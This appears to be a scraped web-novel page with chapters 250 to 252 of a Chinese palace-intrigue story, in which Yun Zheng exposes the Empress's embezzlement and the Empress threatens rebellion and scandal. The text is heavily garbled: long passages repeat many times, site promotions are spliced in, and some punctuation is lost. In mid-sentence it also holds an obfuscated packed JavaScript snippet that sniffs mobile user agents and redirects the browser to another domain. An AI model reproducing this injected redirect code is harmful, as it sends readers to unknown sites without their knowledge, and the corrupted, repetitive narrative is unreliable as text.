皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 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四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 云筝扬了扬眉,他不是穷疯了,而是心中的不满积压到了极致,借着她的手查皇后这一脉。 明镜司的谷雨来了,他是办案高手。 云筝下令道,“去查坤宁宫的库房,先从茶叶和绸缎查起。” 皇后烧了帐房,但,没舍得烧库房啊。 只要做过,总会留下痕迹。 谷雨恭恭敬敬的应道,“是。” 皇后心里一慌,没想到云筝还能从库房入手,“你敢?” 云筝淡淡的瞥了她一眼,又来了一句,“啊,对了,查一下这几年坤宁宫人员的进出情况,凡是出宫者,彻查他们的行踪。” 四周的宫人脸色大变。 皇后更是急了,“云筝,你非要逼死本宫吗?就不怕被满朝文武**吗?” 云筝嚣张跋扈,“不怕,习惯了,我有皇上撑腰,我怕谁?” 她的钱不是好拿的! 皇后:…… 张总管来了,战战兢兢送上帐本,他是内务府总管,宫中的衣食住行都是他负责。 云筝翻出最近两年的帐本,飞快的翻开,一边看,一边拿着毛笔在纸上刷刷的写。 动作非常快,熟练自如,仿佛做过千百回。 她一拿到帐本,气势就变了,有种一切尽在她掌控的自信。 皇上喝着茶,打量着进入工作状态的云筝,这丫头嘴巴厉害,做事更厉害。 皇后心慌意乱,她以为烧毁了帐本,杀了帐房,就能糊弄过去。 但,随着云筝一道道命令发出去,她有些不敢肯定了。 “云筝,其实我们之间又没有深仇大恨,没必要你死我活吧。” 她放软身段,“不如,就此罢手,一笑泯恩仇?” 等过了这一关,她再伺机报复。 云筝头也不抬,“不急,先查完账再说。” 她沉稳淡定,还能一心两用,手中的笔就没有停过。 皇后心思飞转,“你想嫁给睿亲王,我不会再阻止,还会支持。” 云筝一个字都不信,“你在怕什么?” 光是一点茶叶,不足以让皇后这么紧张,所以,事情没有那么简单。 皇后义正严辞的表示,“我只是不想让皇上为难。” 皇上冷笑一声,“之前怎么没见你如此识大体?” 皇后一脸的后悔,“皇上,臣妾刚才一时冲动,回宫后反省过了,皇上,您是臣妾的夫君,也是臣妾头顶的一片天,只想好好侍奉您。” 她越是这么服软,皇上心中的怀疑就越深。 就在此时,云筝挥舞着毛笔,“皇上,我查到了!问题很严重!” 皇后脸色剧变。 皇上挑了挑眉,有些意外,“这么快?” 第250章 把柄?废后? 皇后神色紧张,“云筝,你别想诬陷我。” 这是恶人先告状,还没有看呢,就一口一声诬陷,为自己洗白。 云筝神色微妙,“你把乾坤宁宫的帐房烧了,看着像是烧毁了证据。” “可各宫都记帐的,内务府也有账本,你光烧一个地方有啥用?要烧一起烧啊。” 各方的账目一对,结果很快就会出来。 皇后自然知道,这不是时间太赶吗? 而且,以她对皇上的了解,为了皇室的体面,会点到为止,没了账本,这不再查下去。 毕竟,她是一国之母,膝下有四皇子。 最重要的是,她还有一张护身符! 要动他们母子,会动摇国本。 顶多会受点罪,吃点苦头,关几天禁闭,罚抄女戒,不痛不痒的惩罚而已。 可,云筝不依不饶,唆使皇上非要继续查! 她全怪到云筝头上,无视了自己干的破事,也无视了皇上向来有仇必报的性格。 云筝将写满字迹的纸递过去,“皇上,您看我列出来的数字,这是根据内务府那边的账,今年进给太后的年例。” “光是绸缎这一项,**缎2匹,补缎2匹,织金2匹,闪缎1匹,金字缎2匹,云缎2匹,素缎4匹,素锦十匹。“ “这是慈宁宫的帐,太后只拿到了小半。” 几行数字对比鲜明,清清楚楚。 皇上定晴一看,**缎1匹,补缎1匹,织金1匹,云缎1匹,素缎4匹,素锦四匹。 两边的账一对,除了素缎没动,其他都砍了一半,还少了两项。 “闪缎,金字缎都没入帐。” 云筝叹为观止,“对,光是这一项,她就苛扣了一大半。” 实在,太能捞了,看不出来啊。 她指着其他物品,这苛刻情况一目了然,让人触目惊心。 前几年还不敢太过分,悄悄的搞一点,但,慈宁宫那边没有反应,皇后的胆子越来越大了。 慈宁宫与世隔绝,耳目闭塞,她两边一瞒,就能瞒天过海。 “她连太后都敢苛扣,那其他人呢?” 皇上气的脸色铁青,抄起厚厚的账本砸过去,“毒妇。” 你的朋友正在书荒,快去帮帮他吧 证据确凿无可辩驳皇后没敢躲账本砸中她的肩膀疼的倒抽一口冷气脸色惨白脑子转的飞快。 “皇上容禀我是打算等到过节时再进给太后。” 她找了一个理由勉强说的过去。 但明镜司的人走了进来“报库房里各种绸缎都有唯独没有闪缎和金字缎。” 云筝挑了挑眉“东西不在慈宁宫不在坤宁宫皇后却说下次再进上说不过去啊。” 皇后狠狠瞪了她一眼就你事多。 皇上暴怒“皇后解释一下这些东西去了哪里?” 皇后极力让自己冷静再冷静一定有办法化解的。 “本宫已经赏赐下去但下次会补回来就几匹布而已。” 云筝嘴角微扬“闪缎和金字缎是最新研制成功的布料一年也就织成两匹全当成贡品进入皇宫市面上已经开出一匹五千两的价格还有价无市呢。” “皇上您的皇后眼界真高连这都瞧不上就几匹布而已。” 皇上眼中全是厌弃“一个道貌岸然满口谎言的人说的话你也信?” “真不稀罕就不会做出苛扣财物的事这哪是国母?分明是**。” 这也骂的太狠大家恨不得捂住耳朵什么都没听到。 皇后脸色忽青忽白肝胆欲裂浑身发颤。 “我没偷我只是分几次发。” 云筝淡淡瞥了她一眼“大伴请问按宫规年礼是一次性给还是分批给?” 大太监恭谨无比 皇后急急的解释“本宫太忙了来不及处理我保证下次不会了。” 云筝把玩着毛笔咄咄逼人的质问“赏赐给了谁?宫中应该都有记档吧。” 皇后脑袋嗡嗡作响“本宫记不清了。” 云筝呵呵一笑就等着她这句话呢。 “皇上看来皇后已经老糊涂了已经不能胜任皇后之职。” 皇后暴怒不已“云筝你非要跟本宫过不去吗?” 等她熬过这一坎第一个报复的就云筝还有她背后的云家。 不将云家满门抄斩难消她心头之恨。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 云筝看到了她眼中的杀机,心中一凛,这一局注定了,你死,我活! 但,面上无辜极了,“皇后说的什么话?我只是查个帐而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229782|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已。” 禁军统领走了进来,“禀皇上,已经审完坤宁宫所有奴婢,据皇后亲信招供,他们半月出宫一次,处理掉一些贡品和多余的东西。” 多余的东西?这话太有意思了。 “闪缎,金字缎在外面极受欢迎,三匹卖到三万两。” “这些年,大概卖了二十万两银子。” “而这些银子全寄存在她的娘家,承恩公府。” 皇后的娘家都会获封承恩公府,这是惯例。 随着他的话,皇后的脸色越来难看。 她屡次想叫停,都被无视了,一颗心拔凉拔凉的。 皇上一脸的匪夷所思,“你贵为一国之母,要那么银子干吗?” 她吃穿用度是最好的,短了谁也不可能短了她。 皇后的心凉透了,反唇相讥,“您贵为一国之君,为什么死要钱?” 皇上:…… 云筝强忍着笑意,看天看地,就是不看他们。 谁知,战火很快蔓延到她身上。 皇后愤愤不平的吼道,”你为帝,我为后,凭什么云筝只给你挣金山银山,却只给三瓜两枣打发我?” 不患寡而患不均。 在金山银山面前,她眼红了!受刺激了! 皇上动了真怒,“你还想跟朕比?你配吗?” “张总管,去查抄承恩公府。” 张总大气不敢喘,“是。” 他接了命令,转身就走。 皇后不禁急了,“请皇上收回成命,我娘家罪不至此,若怪,就怪我吧。” 皇上深深的看了她一眼,张口说道,“皇后身染重疾,不能起身,从即日起,六宫嫔妃前来坤宁宫侍疾。” 这话一出,现场静的出奇,所有人都露出惊恐之色。 如一盆冰水从头浇下,皇后发热的头脑彻底清醒了,一颗心如坠入地狱。 这哪是废后,他这是要让她病逝! 她双腿一软,跪了下去,“皇上,我只是一时糊涂,我就把亏空填上,我错了!” 她声泪俱下,“一夜夫妻百日恩,你我二十多年的夫妻,还请看在往日的情份上,饶了我吧。” 见皇上无动于衷,皇后眼中闪过一丝怨恨,好,这是你逼我的!你不仁,我就不义! 她,要出狠招了! 第251章 来,爆猛料了 忽然,皇后站了起来,神色冷凛,“皇上,你想让我病逝前,有没有想过镇守西北的抚远大将军?” 她没有儿子,却能坐稳皇后之位,不是因为她有多出色。 最重要的一个原因就是,她是抚远大将军的嫡女,她身后有十万大军。 如今,她的父亲退了下来,她的胞兄成了新一任的抚远大将军。 皇上的眼神一冷,“抚远大将军是大齐的将领,朕相信他的忠心。” 云筝的眼睛闪闪发亮,打起来,打起来。 皇后高高昂着脑袋,“我胞兄向来最疼爱我,他若是知道皇上为了一点小钱,而要置我于死地,他会怎么想?” 她顿了顿,语气阴森森的,“他会想,这是要逼反他吗?” 现场静的可怕,宫人们吓坏了,个个脸色惨白,居然听到了这些隐私,会不会被灭口。 云筝一脸的意外,皇后这是有什么大病?居然用大军威胁一个帝王! 皇上愤怒的脸色铁青,“朕会亲自写信告诉他,他的妹妹,苛扣太后和宫妃的供给,这些钱就存在承恩公府。” “朕会问他,这是要用来养私兵吗?” 这话一出,皇后的面色瞬间惨白,“你胡说,我们叶家世代忠良,忠心耿耿,绝无二心。” 皇上冷笑一声,“是吗?朕在你身上没看到半点忠心,只有算计,只有对皇权的践踏。” “你若不是叶家女,谁会多看你一眼?你无德无才,相貌平平,怎么可能坐稳中宫之位?” 夫妻多年,知道怎么捅刀子更狠。 皇后被刺激的发疯,她对他死心塌地,他如此伤害她。 无德无才?她在他眼里就这么平凡? 她脑袋一热,口不择言,“别忘了,当年要不是我父兄帮你夺嫡,你未必能坐上这个位置。” 皇上的脸一下子黑了,眼中的怒火狂燃。 他胸膛剧烈起伏,微微颤抖的手指着皇后,“你……你……” 云筝的眼睛瞪圆了,哇,皇后这是图穷匕见了。 完了,皇后这次彻底完了。 旧恩重提便是罪,挟恩自重即是仇,跟皇上索要恩情,那是大罪。 尤其是,皇上不是大度的人,他,记仇! 皇后还在有恃无恐的叫嚣,“皇上,你杀我可以,但我死之后,我叶家必反。” 皇上的脸色反而恢复了平静,平静的可怕。 云筝暗暗摇头,皇后真的是疯了。一口一声叶家必反,这是要送叶氏一族上西天的节奏。 皇上的疑心有多重,她不知道吗? 忽然,皇后看了过来,眼神冷冷的。 “云筝,你去跟太后说一声,让她保下我。“ 云筝怀疑自己的耳朵出了问题,”我没听错吧?你怎么有脸的?” 皇后豁出去了,“若我**,她和我胞兄的旧情就会闹的天下皆知,让皇室羞辱,也会让厉无恙难堪。” 她不想死,她想活着。 但,她若**,那就让全天下为她陪葬。 她每个字都懂,但连在一起就不懂了。 云筝脑袋嗡嗡作响,啥意思?太后年轻时跟抚远大将军有过一段旧情? “你说什么?再说一遍。” 皇后神情癫狂,“到时,万夫所指,我胞兄不想反,也得反了!” “云筝,你也不想看到那一幕吧。” 云筝惊呆了,她胞兄跟她什么仇什么怨,要这么坑他? “你疯了吗?有你这种妹子,你胞兄太惨了。” 皇后面色古怪,似是怨恨,又似羡慕,又似嫉妒。 “怎么?不敢提太后的丑事?我们那位不食人间烟火的太后,跟我胞兄有过一段情,差点成了我嫂子呢。” 她淡淡瞥了皇上一眼,眼中闪过一丝恶毒,“她烧香拜佛,估计是祈求来生跟我胞兄再续前缘吧。” 皇上面色阴冷,愤怒到了极点,却一声不吭。 云筝心乱如麻,但,眼下,最重要的是摆平眼前的乱,将太后从这一摊混水摘出去。 “我明白了,你嫉妒太后!你不会是……” 她面露惊恐之色,“暗暗恋慕你胞兄吧?天啊,你好变态。” 皇后目瞪口呆,“你胡说!” 云筝神色严肃极了,“你急了,紧张了,心虚了。” “你胞兄知道你这么不正常吗?我要写信问问他。” 她说干就干,随手拿起纸笔,开始写起来。 “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡 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“糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! “抚远大将军,安启,初次写信,实属冒昧,然皇后娘娘疯癫了,她……” 皇后惊呆了,冲过去要抢信,但被人拦住了。“你别乱来。” 云筝手中的毛笔不停,嘴上还说道。 “皇后娘娘,你别急,你胆敢乱传太后的事,那,我让各地的商号散布你们兄妹相恋。” “却在世俗的压力之下,一个不得不含泪嫁进宫中,一个不得不远走他乡的凄美爱情故事。” 这叫,主动制造更大规模的争议事件,转移焦点。 皇后一口血喷出来,“你敢?我叶家世代忠良,我父兄多年驻守边关,守护西北的安宁,你怎么敢糟蹋我叶家的名声?” 云筝对她颠倒黑白叹为观止,不要脸的人才能在皇宫混的风生水起,坐稳皇后之位吧。 “糟蹋叶家名声的人是你,拉着叶家玉石俱焚的人是你。” “想让你胞兄名声扫地的人是你,想逼反叶家的人是你啊。” “叶家怎么出了你这么一个祸害?” 云筝义正言辞的喝斥,“害了夫家,又害娘家,大祸害。” 皇后又气又急又恨,咬牙切齿,“太后不会同意你这么乱来的。” 云筝一眼就看穿她的心思,淡淡的道,“我做事,不需要向任何人交待,也无须让任何人同意。” 皇后眼神一闪,“我要见太后,我要跟她谈条件!” 她手里有太后的把柄,自然有办法逼迫太后帮她度过难关。 可惜,她遇到了云筝,这个聪明绝顶的鬼才! 云筝心思一转,有办法了! 拿捏,易如反掌! 第252章 一招绝杀 云筝眼珠滴溜溜的转,“皇上,听说当年叶家成了外戚,抚远大将军就将兵权交上来,得了承恩公的爵位,是真的吗?” 皇上奇怪的看了她一眼,“是。” 云筝继续问道,“那,兵权怎么又回到叶家人手里了?” 知己知彼才能百战百胜,虽然她已经有了计划,但还需要完善。 皇上不知道她葫芦里卖什么药,不过,她向来是不肯吃亏的主,不知在憋什么坏呢。 ”叶家是上交了兵权,但,叶家长子一直在西北军中摸爬滚打。” 朝廷重新指定了主帅人选,大部分叶家人退出了西北军,只有一个叶大公子坚守在西北,不肯回京。 因为特殊原因,皇上默许了。 “三年前,西凌国忽然侵袭西北,连下三城,西北军主帅以身殉国。” “关键时刻,是叶家长子挺身而出,力挽狂澜,击退了敌军,顺理成章成了西北军的主帅。” 当然,他也派出了监军,监控西北军的动态,有什么风吹草动第一时间知道。 云筝听到西凌国三字,眼神微沉。 前世,她虽然困在后院,但,也知道几年后西凌国犯边,两国又一次打起来,双方死伤无数。 “叶家祖坟冒青烟了,出了一个皇后,一个抚远大将军,两位公侯。” 皇后脸上流露出骄傲,“不用你拍马屁。” 谁知,云筝来了一句,“难怪,皇后有底气叫嚣着要**呢。” 皇后的表情一僵。 云筝笑吟吟的提了个建议,“皇上,不如请两位公爷进宫。” 皇上深深的看了云筝一眼,这个鬼灵精。 “来人,召两位公爷进宫。” “是。” 得到宣召的两人很快就赶到宫中,恭恭敬敬的行礼,“参见皇上,愿吾皇万岁万岁万万岁。” 皇上亲自上前扶起承恩公,态度亲和,“老将军,请起。” 承恩公是皇后的亲爹,头发斑白,后背微弯,全然没有了前西北军主帅的风采。 